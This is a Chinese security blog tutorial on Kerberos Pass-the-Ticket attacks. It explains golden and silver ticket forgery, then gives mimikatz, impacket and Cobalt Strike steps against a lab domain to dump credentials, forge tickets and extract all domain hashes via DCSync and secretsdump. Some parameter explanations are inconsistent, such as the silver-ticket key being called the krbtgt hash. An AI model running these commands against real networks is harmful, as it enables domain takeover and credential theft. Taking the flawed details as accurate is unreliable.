PTT(票据传递,基于Kerberos认证)【投稿】

投稿技术文章,作者:爱喝肥宅水

一、PTT介绍

    • PTT(Pass The Ticket)是一种基于Kerberos认证机制的攻击方式,攻击者通过伪造或窃取合法的Kerberos票据(Ticket),绕过正常的认证流程,从而以高权限访问目标系统或服务。

    • PTT攻击的核心是伪造或窃取合法的Kerberos票据,绕过Kerberos认证流程。

    • PTT攻击通常用于已经获得部分域权限后,用来维持或提升权限。

    • PTT攻击主要分为两种形式:
        • 黄金票据伪造
            • 作用:利用域内krbtgt用户的密钥伪造高权限的TGT(Ticket Granting Ticket),从而访问任何服务。

            • 前提:攻击者需要获取域内krbtgt用户的NTLM哈希或AES密钥。

        • 白银票据伪造
            • 利用目标服务的密钥伪造高权限的ST(Service Ticket),从而访问特定服务。

            • 前提:攻击者需要获取目标服务账户的NTLM哈希或AES密钥(如CIFS、LDAP服务的计算机账户)。

二、PTT原理

Kerberos认证机制简介

    • Kerberos是一种网络认证协议,用于在不安全的网络中验证用户和服务的身份。

    • 核心流程如下:
        • AS-REQ/AS-REP:用户向KDC(Key Distribution Center)请求TGT(Ticket Granting Ticket)。

        • TGS-REQ/TGS-REP:用户使用TGT向KDC请求访问特定服务的ST(Service Ticket)。

        • AP-REQ/AP-REP:用户使用ST访问目标服务。

    • Kerberos票据中包含用户身份信息(PAC,Privilege Attribute Certificate),并通过加密确保其完整性。

黄金票据攻击原理

    • Kerberos的AS-REP阶段中,TGT的加密部分(含PAC)由krbtgt密钥签名。

    • 攻击者利用krbtgt密钥离线生成伪造的TGT,包含高权限的PAC(特权属性证书)。(伪造的TGT可以离线生成,无需与KDC通信。)

白银票据攻击原理

    • 在TGS-REP阶段,ST(含PAC)的加密部分由服务账户密钥签名。

    • 攻击者利用服务账户密钥生成伪造的ST(含PAC),直接发送至目标服务。

    • 由于默认情况下PAC的PAC_PRIVSVR_CHECKSUM签名验证是可选的,并且默认不开启,所以攻击者就算无法伪造该签名,也能利用伪造的ST访问目标服务。

    • 白银票据只能访问指定服务,但不会在KDC上留下通信日志。

总结

    • 黄金票据攻击:利用krbtgt密钥伪造TGT,可以访问任何服务,但会在KDC上留下日志。

    • 白银票据攻击:利用服务密钥伪造ST,只能访问指定服务,但不会在KDC上留下日志,只会在目标服务器上留下日志。

三、黄金票据攻击

信息收集

    • 通过mimikatz抓取krbtgt用户的NTLM哈希和域管(伪造的对象)的SID

//在域机器上以管理员权限执行
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"

//krbtgt用户的hash只有在DC上才能抓到,在非域控机器上执行,即使有域管权限,也无法抓取
mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" "exit"

mimikatz

    • 生成黄金票据并将票据导入到内存中

mimikatz.exe "kerberos::golden /user:administrator /domain:lazy.com /sid:S-1-5-21-556571820-777808179-3504138622-500 /krbtgt:6c70f5e1f8da25b972986320d25e0e93 /ptt" "exit"

    • 导入成功后就可以执行高权限操作了(比如导出任意用户的Hash)

mimikatz.exe "lsadump::dcsync /domain:lazy.com /user:krbtgt" "exit"

impacket

    • 通过tickerer生成黄金票据(伪造administrator)

ticketer.exe -domain-sid S-1-5-21-556571820-777808179-3504138622-500 -nthash 6c70f5e1f8da25b972986320d25e0e93 -domain lazy.com administrator

    • 导入黄金票据到内存中

set KRB5CCNAME=administrator.ccache

//列出票据
klist
//清除票据
klist purge

    • 通过secretsdump导出administrator用户的哈希

secretsdump.exe -k -no-pass administrator@lazy.COM -dc-ip 10.10.1.228 -just-dc-user administrator

    • 还可以使用impacket里的其它工具进行进一步利用

CS

    • 选中目标会话,右键选中黄金票据

20250505215207836-image

 

    • 填写完相应的信息后点击Build

20250505215223957-image (1)

 

    • 执行完后,会生成黄金票据并导入到内存中,此时就可以执行高权限的操作了

四、白银票据攻击

mimikatz

    • 生成白银票据并将票据导入到内存中

mimikatz.exe "kerberos::golden /domain:lazy.com /sid:S-1-5-21-556571820-777808179-3504138622-500 /target:AD-server2016.lazy.com /rc4:6c70f5e1f8da25b972986320d25e0e93 /service:ldap /user:administrator /ptt" "exit"

/rc4:提供krbtgt账户的NTLM哈希
/service:指定服务类型,这里表明要伪造一个针对LDAP服务的票据
/user:指定伪造票据的用户名为administrator

    • 对域控的ldap服务进行白银票据攻击之后,此时就有权限导出域内任意用户哈希或者进行其它高权限操作了

mimikatz.exe "lsadump::dcsync /domain:lazy.com /user:krbtgt" "exit"

impacket

    • 通过tickerer生成白银票据

ticketer.exe -domain-sid S-1-5-21-556571820-777808179-3504138622-500 -nthash 6c70f5e1f8da25b972986320d25e0e93 -spn cifs/AD-server2016.lazy.com -domain lazy.com administrator

spn cifs/AD-server2016.lazy.com:指定服务主体名称(SPN),这里是cifs/AD-server2016.lazy.com,表示希望伪造一个针对CIFS(文件共享服务)的票据。

    • 导入票据到内存中

set KRB5CCNAME=administrator.ccache

    • 通过secretsdump导出administrator用户的哈希

secretsdump.exe -k -no-pass administrator@lazy.COM -dc-ip 10.10.1.228 -just-dc-user administrator

    • 还可以使用impacket里的其它工具进行进一步利用

CS

    • 使用谢公子的插件

20250505215238898-image (2)

    • 填写相应信息,然后点击开始

20250505215248837-image (3)

 

    • 执行后会生成白银票据并且导入内存,执行成功后就可以执行高权限操作了

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容